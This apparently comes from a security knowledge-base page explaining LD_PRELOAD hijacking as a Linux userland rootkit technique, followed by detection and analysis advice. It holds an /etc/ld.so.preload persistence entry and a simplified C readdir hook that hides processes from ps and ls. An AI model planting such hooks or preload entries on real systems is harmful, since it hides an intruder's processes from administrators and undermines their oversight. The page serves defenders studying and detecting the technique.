Skip to content
Code Injectionintermediate

LD_PRELOAD Hijacking

Forcing the dynamic linker to load an attacker-supplied shared object before libc, letting it override arbitrary library functions process-wide — the classic Linux userland rootkit primitive.

LD_PRELOAD is an environment variable the Linux dynamic linker (ld.so) honours before it resolves any other library: every shared object listed in it is loaded first, and its symbols take priority over the same symbols in libc or any later library. A userland rootkit ships a small .so that redefines functions like readdir, open, or stat to skip over its own files, processes, and network connections, then gets that .so preloaded into every process on the box — either per-process via the environment variable, or system-wide via /etc/ld.so.preload, a file ld.so reads unconditionally at startup.

How it works

The system-wide form needs only one line in a file most tools never check:

text
# /etc/ld.so.preload — one shared-object path per line, loaded into
# EVERY dynamically linked process that starts from now on
/usr/lib/libprocesshider.so

The hijacked library re-exports a libc function it wants to lie about, calling the real one via dlsym(RTLD_NEXT, ...) and filtering its result:

c
// simplified process-hiding hook
struct dirent *readdir(DIR *dirp) {
    static struct dirent *(*real_readdir)(DIR *) = NULL;
    if (!real_readdir)
        real_readdir = dlsym(RTLD_NEXT, "readdir");

    struct dirent *entry;
    while ((entry = real_readdir(dirp)) != NULL) {
        if (is_hidden_pid(entry->d_name))   // skip our own /proc/<pid>
            continue;
        return entry;
    }
    return NULL;
}

Because ps, ls /proc, and most process-listing tools ultimately call readdir on /proc, a single hooked function hides an entire process from every userland tool that uses the standard C library to enumerate it — without touching the kernel.

Detection & analysis

Static analysis: A dropped .so that imports dlsym/dlopen and re-exports common libc symbols (readdir, open, stat, execve, connect) with no other purpose is a strong tell; disassemble it and look for a RTLD_NEXT lookup immediately followed by a string compare against a hard-coded name or PID.

Dynamic analysis: Check /etc/ld.so.preload for unexpected entries — its mere existence on most distributions is already unusual. Inspect a live process's environment for a suspicious LD_PRELOAD value via cat /proc/<pid>/environ | tr '\0' '\n'. Running a known-good binary (e.g. ls) with LD_PRELOAD= explicitly cleared and diffing its output against the system default reveals anything the preloaded library was suppressing.

Detection rule hint: File-integrity-monitor /etc/ld.so.preload (it should not exist, or should never change, on a hardened host) and alert on any write to it. Flag any process launched with a non-empty LD_PRELOAD environment variable pointing outside standard library directories (/lib, /usr/lib), and cross-check ps/ls-reported process and file lists against a raw /proc or kernel-level enumeration (e.g. via eBPF) — a mismatch is the classic cross-view signal for this technique.

Votes

Comments(0)